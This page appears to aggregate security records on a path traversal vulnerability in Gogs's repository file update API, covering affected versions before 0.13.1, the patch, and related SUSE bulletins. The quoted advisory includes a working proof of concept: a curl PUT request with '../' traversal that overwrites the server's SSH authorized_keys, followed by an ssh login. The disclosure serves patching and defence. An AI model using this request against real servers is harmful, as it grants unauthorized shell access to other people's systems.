No access to your tenant or devices. Every item links to its source. What this means
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
Read the publisher's advisoryGogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
Read the publisher's advisoryGogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
Read the publisher's advisory### Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. ### Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Generate a Personal Access Tokens 2. Edit any file on the server with this ```bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' ``` 3. ssh connect to remote server ```bash ssh -i temp git@localhost -p 10022 ``` ### For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Read the publisher's advisoryPath Traversal in file update API in gogs in gogs.io/gogs
Read the publisher's advisoryVendor product
Shown as published. These rules are not interpreted as NuGet package version ranges.
{
"vendor": "gogs",
"product": "gogs",
"versions": [
{
"version": "< 0.13.1",
"status": "affected"
}
]
}Original source record · Cite this exact observation · Complete original publisher JSON
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
datePublished: Dec 23, 2024, 3:26:47 PM
dateUpdated: Dec 24, 2024, 3:59:02 PM
openSUSE-SU-2025:14624-1: govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media
CVE-2024-25133 · CVE-2024-28892 · CVE-2024-45387 · CVE-2024-54148 · CVE-2024-55196 · CVE-2024-55947 · CVE-2024-56362 · CVE-2024-56513 · CVE-2024-56514 · CVE-2025-21609 · CVE-2025-21613 · CVE-2025-21614 · CVE-2025-22130
SUSE-SU-2025:0060-1: Security update for govulncheck-vulndb
CVE-2024-12678 · CVE-2024-25131 · CVE-2024-25133 · CVE-2024-28892 · CVE-2024-43803 · CVE-2024-45338 · CVE-2024-45387 · CVE-2024-54148 · CVE-2024-55196 · CVE-2024-55947 · CVE-2024-56362 · CVE-2024-56513 · CVE-2024-56514 · CVE-2024-9779 · CVE-2025-21609 · CVE-2025-21613 · CVE-2025-21614 · CVE-2025-22130
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
Original source record · Cite this exact observation · Complete original publisher JSON
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-22
published: 2024-12-23T16:15:07.253
lastModified: 2026-06-17T08:11:28.680
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
Original source record · Cite this exact observation · Complete original publisher JSON
Go
SEMVER · introduced 0 → fixed 0.13.1
Original source record · Cite this exact observation · Complete original publisher JSON
Go
SEMVER · introduced 0 → fixed 0.13.1
Original source record · Cite this exact observation · Complete original publisher JSON